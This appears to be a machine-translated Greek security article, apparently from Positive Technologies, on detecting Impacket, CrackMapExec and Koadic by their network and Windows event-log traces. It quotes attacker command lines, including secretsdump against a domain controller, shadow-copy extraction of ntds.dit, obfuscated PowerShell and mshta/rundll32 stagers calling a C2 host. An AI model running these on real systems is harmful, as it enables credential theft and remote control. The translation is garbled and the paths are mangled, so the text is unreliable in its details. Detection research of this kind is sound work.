Ο αριθμός των επιθέσεων στον εταιρικό τομέα αυξάνεται κάθε χρόνο: για παράδειγμα
Αξίζει να σημειωθεί ότι αυτά τα εργαλεία δεν χρησιμοποιούνται για αρχική διείσδυση, αλλά για ανάπτυξη επίθεσης εντός της υποδομής. Οι επιτιθέμενοι τα χρησιμοποιούν σε διαφορετικά στάδια της επίθεσης μετά τη διείσδυση της περιμέτρου. Αυτό, παρεμπιπτόντως, είναι δύσκολο να εντοπιστεί και συχνά μόνο με τη βοήθεια της τεχνολογίας
Τι έπρεπε να κάνουμε:
- Κατανοήστε πώς λειτουργούν τα εργαλεία hacking. Μάθετε τι πρέπει να εκμεταλλευτούν οι εισβολείς και ποιες τεχνολογίες μπορούν να χρησιμοποιήσουν.
- Βρείτε τι δεν εντοπίζεται από τα εργαλεία ασφάλειας πληροφοριών στα πρώτα στάδια μιας επίθεσης. Η φάση αναγνώρισης μπορεί να παραλειφθεί, είτε επειδή ο εισβολέας είναι εσωτερικός εισβολέας είτε επειδή ο εισβολέας εκμεταλλεύεται μια τρύπα στην υποδομή που δεν ήταν προηγουμένως γνωστή. Γίνεται δυνατή η αποκατάσταση ολόκληρης της αλυσίδας των ενεργειών του, εξ ου και η επιθυμία να ανιχνευθεί περαιτέρω κίνηση.
- Εξαλείψτε τα ψευδώς θετικά στοιχεία από τα εργαλεία ανίχνευσης εισβολής. Δεν πρέπει να ξεχνάμε ότι όταν ορισμένες ενέργειες εντοπίζονται βάσει αναγνώρισης και μόνο, είναι πιθανά συχνά λάθη. Συνήθως στις υποδομές υπάρχουν αρκετοί τρόποι, που δεν διακρίνονται από τους θεμιτούς εκ πρώτης όψεως, για να αποκτήσετε οποιαδήποτε πληροφορία.
Τι δίνουν αυτά τα εργαλεία στους επιτιθέμενους; Εάν αυτό είναι το Impacket, τότε οι εισβολείς λαμβάνουν μια μεγάλη βιβλιοθήκη από μονάδες που μπορούν να χρησιμοποιηθούν σε διαφορετικά στάδια της επίθεσης που ακολουθούν μετά το σπάσιμο της περιμέτρου. Πολλά εργαλεία χρησιμοποιούν εσωτερικά μονάδες Impacket - για παράδειγμα, το Metasploit. Διαθέτει dcomexec και wmiexec για απομακρυσμένη εκτέλεση εντολών, secretsdump για λήψη λογαριασμών από τη μνήμη που προστίθενται από το Impacket. Ως αποτέλεσμα, η σωστή ανίχνευση της δραστηριότητας μιας τέτοιας βιβλιοθήκης θα εξασφαλίσει την ανίχνευση των παραγώγων.
Δεν είναι τυχαίο ότι οι δημιουργοί έγραψαν το "Powered by Impacket" για το CrackMapExec (ή απλά το CME). Επιπλέον, το CME έχει έτοιμη λειτουργικότητα για δημοφιλή σενάρια: Mimikatz για την απόκτηση κωδικών πρόσβασης ή κατακερματισμού τους, υλοποίηση Meterpreter ή πράκτορα Empire για απομακρυσμένη εκτέλεση και Bloodhound επί του σκάφους.
Το τρίτο εργαλείο που επιλέξαμε ήταν το Koadic. Είναι αρκετά πρόσφατο, παρουσιάστηκε στο διεθνές συνέδριο χάκερ DEFCON 25 το 2017 και διακρίνεται για μια μη τυπική προσέγγιση: λειτουργεί μέσω HTTP, Java Script και Microsoft Visual Basic Script (VBS). Αυτή η προσέγγιση ονομάζεται live off the land: το εργαλείο χρησιμοποιεί ένα σύνολο εξαρτήσεων και βιβλιοθηκών ενσωματωμένων στα Windows. Οι δημιουργοί το ονομάζουν COM Command & Control ή C3.
IMPACKET
Η λειτουργικότητα του Impacket είναι πολύ ευρεία, από αναγνώριση εντός AD και συλλογή δεδομένων από εσωτερικούς διακομιστές MS SQL, έως τεχνικές απόκτησης διαπιστευτηρίων: πρόκειται για επίθεση αναμετάδοσης SMB και λήψη του αρχείου ntds.dit που περιέχει κατακερματισμούς των κωδικών πρόσβασης χρήστη από έναν ελεγκτή τομέα. Το Impacket εκτελεί επίσης εντολές εξ αποστάσεως χρησιμοποιώντας τέσσερις διαφορετικές μεθόδους: WMI, Windows Scheduler Management Service, DCOM και SMB και απαιτεί διαπιστευτήρια για να το κάνει.
Secretsdump
Ας ρίξουμε μια ματιά στο Secretsdump. Αυτή είναι μια λειτουργική μονάδα που μπορεί να στοχεύσει τόσο μηχανήματα χρήστη όσο και ελεγκτές τομέα. Μπορεί να χρησιμοποιηθεί για την απόκτηση αντιγράφων των περιοχών μνήμης LSA, SAM, SECURITY, NTDS.dit, ώστε να είναι ορατή σε διαφορετικά στάδια της επίθεσης. Το πρώτο βήμα στη λειτουργία της μονάδας είναι ο έλεγχος ταυτότητας μέσω SMB, ο οποίος απαιτεί είτε τον κωδικό πρόσβασης του χρήστη είτε τον κατακερματισμό του για να πραγματοποιήσει αυτόματα την επίθεση Pass the Hash. Στη συνέχεια ακολουθεί ένα αίτημα για άνοιγμα πρόσβασης στο Service Control Manager (SCM) και πρόσβαση στο μητρώο μέσω του πρωτοκόλλου winreg, χρησιμοποιώντας το οποίο ένας εισβολέας μπορεί να ανακαλύψει τα δεδομένα των υποκαταστημάτων ενδιαφέροντος και να λάβει αποτελέσματα μέσω SMB.
Στο Σχ. 1 βλέπουμε πώς ακριβώς όταν χρησιμοποιείται το πρωτόκολλο winreg, η πρόσβαση αποκτάται χρησιμοποιώντας ένα κλειδί μητρώου με LSA. Για να το κάνετε αυτό, χρησιμοποιήστε την εντολή DCERPC με τον κωδικό 15 - OpenKey.
Ρύζι. 1. Άνοιγμα κλειδιού μητρώου χρησιμοποιώντας το πρωτόκολλο winreg
Στη συνέχεια, όταν αποκτηθεί πρόσβαση στο κλειδί, οι τιμές αποθηκεύονται με την εντολή SaveKey με τον κωδικό 20. Το Impacket το κάνει αυτό με πολύ συγκεκριμένο τρόπο. Αποθηκεύει τις τιμές σε ένα αρχείο του οποίου το όνομα είναι μια συμβολοσειρά 8 τυχαίων χαρακτήρων που προσαρτώνται με .tmp. Επιπλέον, η περαιτέρω μεταφόρτωση αυτού του αρχείου πραγματοποιείται μέσω SMB από τον κατάλογο System32 (Εικ. 2).
Ρύζι. 2. Σχέδιο λήψης κλειδιού μητρώου από απομακρυσμένο μηχάνημα
Αποδεικνύεται ότι μια τέτοια δραστηριότητα στο δίκτυο μπορεί να εντοπιστεί με ερωτήματα σε ορισμένα υποκαταστήματα μητρώου χρησιμοποιώντας το πρωτόκολλο winreg, συγκεκριμένα ονόματα, εντολές και τη σειρά τους.
Αυτή η ενότητα αφήνει επίσης ίχνη στο αρχείο καταγραφής συμβάντων των Windows, γεγονός που καθιστά εύκολο τον εντοπισμό. Για παράδειγμα, ως αποτέλεσμα της εκτέλεσης της εντολής
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
Στο αρχείο καταγραφής του Windows Server 2016 θα δούμε την ακόλουθη βασική ακολουθία συμβάντων:
1. 4624 - απομακρυσμένη σύνδεση.
2. 5145 - έλεγχος δικαιωμάτων πρόσβασης στην απομακρυσμένη υπηρεσία winreg.
3. 5145 - έλεγχος δικαιωμάτων πρόσβασης αρχείων στον κατάλογο System32. Το αρχείο έχει το τυχαίο όνομα που αναφέρεται παραπάνω.
4. 4688 - δημιουργία μιας διαδικασίας cmd.exe που εκκινεί το vssadmin:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - δημιουργία μιας διαδικασίας με την εντολή:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
6. 4688 - δημιουργία μιας διαδικασίας με την εντολή:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
7. 4688 - δημιουργία μιας διαδικασίας με την εντολή:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
Smbexec
Όπως πολλά εργαλεία μετά την εκμετάλλευση, το Impacket διαθέτει μονάδες για την απομακρυσμένη εκτέλεση εντολών. Θα επικεντρωθούμε στο smbexec, το οποίο παρέχει ένα διαδραστικό κέλυφος εντολών σε ένα απομακρυσμένο μηχάνημα. Αυτή η ενότητα απαιτεί επίσης έλεγχο ταυτότητας μέσω SMB, είτε με κωδικό πρόσβασης είτε με κατακερματισμό κωδικού πρόσβασης. Στο Σχ. Στο Σχήμα 3 βλέπουμε ένα παράδειγμα του τρόπου λειτουργίας ενός τέτοιου εργαλείου, σε αυτήν την περίπτωση είναι η τοπική κονσόλα διαχειριστή.
Ρύζι. 3. Διαδραστική κονσόλα smbexec
Το πρώτο βήμα του smbexec μετά τον έλεγχο ταυτότητας είναι να ανοίξει το SCM με την εντολή OpenSCManagerW (15). Το ερώτημα είναι αξιοσημείωτο: το πεδίο MachineName είναι DUMMY.
Ρύζι. 4. Αίτημα για άνοιγμα του Service Control Manager
Στη συνέχεια, η υπηρεσία δημιουργείται χρησιμοποιώντας την εντολή CreateServiceW (12). Στην περίπτωση του smbexec, μπορούμε να βλέπουμε την ίδια λογική κατασκευής εντολών κάθε φορά. Στο Σχ. Το πράσινο 5 υποδεικνύει αμετάβλητες παραμέτρους εντολών, το κίτρινο υποδεικνύει τι μπορεί να αλλάξει ένας εισβολέας. Είναι εύκολο να δούμε ότι το όνομα του εκτελέσιμου αρχείου, ο κατάλογος του και το αρχείο εξόδου μπορούν να αλλάξουν, αλλά τα υπόλοιπα είναι πολύ πιο δύσκολο να αλλάξουν χωρίς να διαταραχθεί η λογική της μονάδας Impacket.
Ρύζι. 5. Ζητήστε να δημιουργήσετε μια υπηρεσία χρησιμοποιώντας το Service Control Manager
Το Smbexec αφήνει επίσης εμφανή ίχνη στο αρχείο καταγραφής συμβάντων των Windows. Στο αρχείο καταγραφής του Windows Server 2016 για το διαδραστικό κέλυφος εντολών με την εντολή ipconfig, θα δούμε την ακόλουθη βασική ακολουθία συμβάντων:
1. 4697 — εγκατάσταση της υπηρεσίας στο μηχάνημα του θύματος:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
2. 4688 - δημιουργία της διαδικασίας cmd.exe με τα ορίσματα από το σημείο 1.
3. 5145 - έλεγχος δικαιωμάτων πρόσβασης στο αρχείο __output στον κατάλογο C$.
4. 4697 — εγκατάσταση της υπηρεσίας στο μηχάνημα του θύματος.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - δημιουργία της διαδικασίας cmd.exe με τα ορίσματα από το σημείο 4.
6. 5145 - έλεγχος δικαιωμάτων πρόσβασης στο αρχείο __output στον κατάλογο C$.
Το Impacket είναι η βάση για την ανάπτυξη εργαλείων επίθεσης. Υποστηρίζει σχεδόν όλα τα πρωτόκολλα στην υποδομή των Windows και ταυτόχρονα έχει τα δικά του χαρακτηριστικά χαρακτηριστικά. Ακολουθούν συγκεκριμένα αιτήματα winreg και η χρήση του API SCM με χαρακτηριστικό σχηματισμό εντολών και η μορφή του ονόματος αρχείου και το κοινόχρηστο SMB SYSTEM32.
CRACKMAPEXEC
Το εργαλείο CME έχει σχεδιαστεί κυρίως για να αυτοματοποιεί τις συνήθεις ενέργειες που πρέπει να εκτελέσει ένας εισβολέας για να προχωρήσει μέσα στο δίκτυο. Σας επιτρέπει να εργάζεστε σε συνδυασμό με τον γνωστό πράκτορα της Empire και τον Meterpreter. Για να εκτελεστούν κρυφά εντολές, το CME μπορεί να τις θολώσει. Χρησιμοποιώντας το Bloodhound (ένα ξεχωριστό εργαλείο αναγνώρισης), ένας εισβολέας μπορεί να αυτοματοποιήσει την αναζήτηση για μια περίοδο λειτουργίας ενεργού διαχειριστή τομέα.
Λαγωνικό
Το Bloodhound, ως αυτόνομο εργαλείο, επιτρέπει την προηγμένη αναγνώριση εντός του δικτύου. Συλλέγει δεδομένα σχετικά με χρήστες, μηχανές, ομάδες, συνεδρίες και παρέχεται ως σενάριο PowerShell ή δυαδικό αρχείο. Για τη συλλογή πληροφοριών χρησιμοποιούνται πρωτόκολλα που βασίζονται σε LDAP ή SMB. Η ενότητα ενσωμάτωσης CME επιτρέπει στο Bloodhound να μεταφορτωθεί στο μηχάνημα του θύματος, να τρέξει και να λάβει τα δεδομένα που συλλέγονται μετά την εκτέλεση, αυτοματοποιώντας έτσι τις ενέργειες στο σύστημα και καθιστώντας τις λιγότερο αισθητές. Το γραφικό κέλυφος Bloodhound παρουσιάζει τα δεδομένα που συλλέγονται με τη μορφή γραφημάτων, τα οποία σας επιτρέπουν να βρείτε τη συντομότερη διαδρομή από το μηχάνημα του εισβολέα προς τον διαχειριστή τομέα.
Ρύζι. 6. Διεπαφή Bloodhound
Για να εκτελεστεί στον υπολογιστή του θύματος, η μονάδα δημιουργεί μια εργασία χρησιμοποιώντας ATSVC και SMB. Το ATSVC είναι μια διεπαφή για εργασία με τον Προγραμματιστή εργασιών των Windows. Το CME χρησιμοποιεί τη λειτουργία NetrJobAdd(1) για τη δημιουργία εργασιών μέσω του δικτύου. Ένα παράδειγμα του τι στέλνει η μονάδα CME φαίνεται στην Εικ. 7: Αυτή είναι μια κλήση εντολής cmd.exe και ασαφής κώδικας με τη μορφή ορισμάτων σε μορφή XML.
Εικ.7. Δημιουργία εργασίας μέσω CME
Αφού η εργασία υποβληθεί για εκτέλεση, το μηχάνημα του θύματος εκκινεί το ίδιο το Bloodhound και αυτό φαίνεται στην κίνηση. Η ενότητα χαρακτηρίζεται από ερωτήματα LDAP για τη λήψη τυπικών ομάδων, μια λίστα με όλα τα μηχανήματα και τους χρήστες στον τομέα και τη λήψη πληροφοριών σχετικά με τις συνεδρίες ενεργών χρηστών μέσω του αιτήματος SRVSVC NetSessEnum.
Ρύζι. 8. Λήψη λίστας ενεργών περιόδων σύνδεσης μέσω SMB
Επιπλέον, η εκκίνηση του Bloodhound στον υπολογιστή ενός θύματος με ενεργοποιημένο τον έλεγχο συνοδεύεται από ένα συμβάν με αναγνωριστικό 4688 (δημιουργία διαδικασίας) και το όνομα της διαδικασίας «C:WindowsSystem32cmd.exe»
. Αυτό που είναι αξιοσημείωτο σε αυτό είναι τα ορίσματα της γραμμής εντολών:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
Η ενότητα enum_avproducts είναι πολύ ενδιαφέρουσα από άποψη λειτουργικότητας και υλοποίησης. Το WMI σάς επιτρέπει να χρησιμοποιείτε τη γλώσσα ερωτημάτων WQL για την ανάκτηση δεδομένων από διάφορα αντικείμενα των Windows, κάτι που ουσιαστικά χρησιμοποιεί αυτή η λειτουργική μονάδα CME. Δημιουργεί ερωτήματα στις κατηγορίες AntiSpywareProduct και AntiМirusProduct σχετικά με τα εργαλεία προστασίας που είναι εγκατεστημένα στο μηχάνημα του θύματος. Προκειμένου να ληφθούν τα απαραίτητα δεδομένα, η λειτουργική μονάδα συνδέεται με τον χώρο ονομάτων rootSecurityCenter2, στη συνέχεια δημιουργεί ένα ερώτημα WQL και λαμβάνει μια απάντηση. Στο Σχ. Το Σχήμα 9 δείχνει τα περιεχόμενα τέτοιων αιτημάτων και απαντήσεων. Στο παράδειγμά μας, βρέθηκε το Windows Defender.
Ρύζι. 9. Δραστηριότητα δικτύου της ενότητας enum_avproducts
Συχνά, ο έλεγχος WMI (Trace WMI-Activity), στις εκδηλώσεις του οποίου μπορείτε να βρείτε χρήσιμες πληροφορίες σχετικά με τα ερωτήματα WQL, ενδέχεται να είναι απενεργοποιημένος. Αλλά εάν είναι ενεργοποιημένο, τότε εάν εκτελεστεί το σενάριο enum_avproducts, θα αποθηκευτεί ένα συμβάν με ID 11. Θα περιέχει το όνομα του χρήστη που έστειλε το αίτημα και το όνομα στον χώρο ονομάτων rootSecurityCenter2.
Κάθε μία από τις μονάδες CME είχε τα δικά της τεχνουργήματα, είτε πρόκειται για συγκεκριμένα ερωτήματα WQL είτε για τη δημιουργία ενός συγκεκριμένου τύπου εργασιών σε έναν προγραμματιστή εργασιών με συσκότιση και δραστηριότητα ειδική για το Bloodhound σε LDAP και SMB.
KOADIC
Ένα χαρακτηριστικό γνώρισμα του Koadic είναι η χρήση διερμηνέων JavaScript και VBScript που είναι ενσωματωμένοι στα Windows. Υπό αυτή την έννοια, ακολουθεί την τάση του life off the land trend - δηλαδή, δεν έχει εξωτερικές εξαρτήσεις και χρησιμοποιεί τυπικά εργαλεία των Windows. Πρόκειται για ένα εργαλείο πλήρους Command & Control (CnC), αφού μετά τη μόλυνση εγκαθίσταται στο μηχάνημα ένα «εμφύτευμα» που επιτρέπει τον έλεγχό του. Ένα τέτοιο μηχάνημα, στην Koadic ορολογία, ονομάζεται "ζόμπι". Εάν δεν υπάρχουν επαρκή προνόμια για πλήρη λειτουργία από την πλευρά του θύματος, η Koadic έχει τη δυνατότητα να τα αυξήσει χρησιμοποιώντας τεχνικές παράκαμψης ελέγχου λογαριασμού χρήστη (UAC bypass).
Ρύζι. 10. Koadic Shell
Το θύμα πρέπει να ξεκινήσει την επικοινωνία με τον διακομιστή Command & Control. Για να το κάνει αυτό, πρέπει να επικοινωνήσει με ένα URI που έχει προετοιμαστεί προηγουμένως και να λάβει το κύριο σώμα Koadic χρησιμοποιώντας έναν από τους σταδιακά. Στο Σχ. Το Σχήμα 11 δείχνει ένα παράδειγμα για το σταδιακό mshta.
Ρύζι. 11. Εκκίνηση μιας περιόδου λειτουργίας με τον διακομιστή CnC
Με βάση τη μεταβλητή απόκρισης WS, γίνεται σαφές ότι η εκτέλεση πραγματοποιείται μέσω του WScript.Shell και οι μεταβλητές STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE περιέχουν βασικές πληροφορίες σχετικά με τις παραμέτρους της τρέχουσας περιόδου λειτουργίας. Αυτό είναι το πρώτο ζεύγος αιτήματος-απόκρισης σε μια σύνδεση HTTP με διακομιστή CnC. Τα επόμενα αιτήματα σχετίζονται άμεσα με τη λειτουργικότητα των καλούμενων μονάδων (εμφυτεύματα). Όλες οι μονάδες Koadic λειτουργούν μόνο με μια ενεργή περίοδο λειτουργίας με CnC.
Mimikatz
Ακριβώς όπως το CME λειτουργεί με το Bloodhound, το Koadic συνεργάζεται με το Mimikatz ως ξεχωριστό πρόγραμμα και έχει πολλούς τρόπους για να το εκκινήσει. Ακολουθεί ένα ζεύγος αιτήματος-απόκρισης για τη λήψη του εμφυτεύματος Mimikatz.
Ρύζι. 12. Μεταγραφή του Mimikatz στην Koadic
Μπορείτε να δείτε πώς έχει αλλάξει η μορφή URI στο αίτημα. Τώρα περιέχει μια τιμή για τη μεταβλητή csrf, η οποία είναι υπεύθυνη για την επιλεγμένη ενότητα. Μην δίνεις σημασία στο όνομά της. Όλοι γνωρίζουμε ότι το CSRF συνήθως κατανοείται διαφορετικά. Η απάντηση ήταν το ίδιο κύριο σώμα του Koadic, στο οποίο προστέθηκε κώδικας που σχετίζεται με το Mimikatz. Είναι αρκετά μεγάλο, οπότε ας δούμε τα βασικά σημεία. Εδώ έχουμε τη βιβλιοθήκη Mimikatz κωδικοποιημένη στο base64, μια σειριακή κλάση .NET που θα την εισάγει και ορίσματα για την εκκίνηση του Mimikatz. Το αποτέλεσμα της εκτέλεσης μεταδίδεται μέσω του δικτύου σε καθαρό κείμενο.
Ρύζι. 13. Αποτέλεσμα λειτουργίας του Mimikatz σε απομακρυσμένο μηχάνημα
Exec_cmd
Το Koadic διαθέτει επίσης μονάδες που μπορούν να εκτελούν εντολές από απόσταση. Εδώ θα δούμε την ίδια μέθοδο δημιουργίας URI και τις γνωστές μεταβλητές sid και csrf. Στην περίπτωση της λειτουργικής μονάδας exec_cmd, προστίθεται κώδικας στο σώμα που έχει τη δυνατότητα να εκτελεί εντολές φλοιού. Παρακάτω εμφανίζεται ένας τέτοιος κώδικας που περιέχεται στην απόκριση HTTP του διακομιστή CnC.
Ρύζι. 14. Κωδικός εμφυτεύματος exec_cmd
Η μεταβλητή GAWTUUGCFI με το γνωστό χαρακτηριστικό WS απαιτείται για την εκτέλεση κώδικα. Με τη βοήθειά του, το εμφύτευμα καλεί το κέλυφος, επεξεργάζοντας δύο κλάδους κώδικα - το shell.exec με την επιστροφή της ροής δεδομένων εξόδου και το shell.run χωρίς επιστροφή.
Το Koadic δεν είναι ένα τυπικό εργαλείο, αλλά έχει τα δικά του τεχνουργήματα με τα οποία μπορεί να βρεθεί σε νόμιμη κυκλοφορία:
- ειδικός σχηματισμός αιτημάτων HTTP,
- χρησιμοποιώντας το winHttpRequests API,
- δημιουργώντας ένα αντικείμενο WScript.Shell μέσω ActiveXObject,
- μεγάλο εκτελέσιμο σώμα.
Η αρχική σύνδεση ξεκινά από τον σταδιακό, επομένως είναι δυνατός ο εντοπισμός της δραστηριότητάς του μέσω συμβάντων των Windows. Για mshta, αυτό είναι το συμβάν 4688, το οποίο υποδεικνύει τη δημιουργία μιας διεργασίας με το χαρακτηριστικό start:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6
Ενώ το Koadic εκτελείται, μπορείτε να δείτε άλλα 4688 συμβάντα με χαρακτηριστικά που το χαρακτηρίζουν απόλυτα:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
Ευρήματα
Η τάση που ζει από τη γη κερδίζει δημοτικότητα μεταξύ των εγκληματιών. Χρησιμοποιούν τα εργαλεία και τους μηχανισμούς που είναι ενσωματωμένοι στα Windows για τις ανάγκες τους. Βλέπουμε τα δημοφιλή εργαλεία Koadic, CrackMapExec και Impacket που ακολουθούν αυτήν την αρχή να εμφανίζονται όλο και περισσότερο στις αναφορές APT. Ο αριθμός των πιρουνιών στο GitHub για αυτά τα εργαλεία αυξάνεται επίσης και εμφανίζονται νέα (υπάρχουν ήδη περίπου χίλια από αυτά τώρα). Η τάση κερδίζει δημοτικότητα λόγω της απλότητάς της: οι εισβολείς δεν χρειάζονται εργαλεία τρίτων· βρίσκονται ήδη σε μηχανήματα των θυμάτων και τα βοηθούν να παρακάμψουν τα μέτρα ασφαλείας. Εστιάζουμε στη μελέτη της επικοινωνίας δικτύου: κάθε εργαλείο που περιγράφεται παραπάνω αφήνει τα δικά του ίχνη στην κίνηση του δικτύου. Η λεπτομερής μελέτη τους μας επέτρεψε να διδάξουμε το προϊόν μας
Συγγραφείς:
- Anton Tyurin, Επικεφαλής του Τμήματος Εξειδικευμένων Υπηρεσιών, PT Expert Security Center, Positive Technologies
- Egor Podmokov, ειδικός, PT Expert Security Center, Positive Technologies
Πηγή: www.habr.com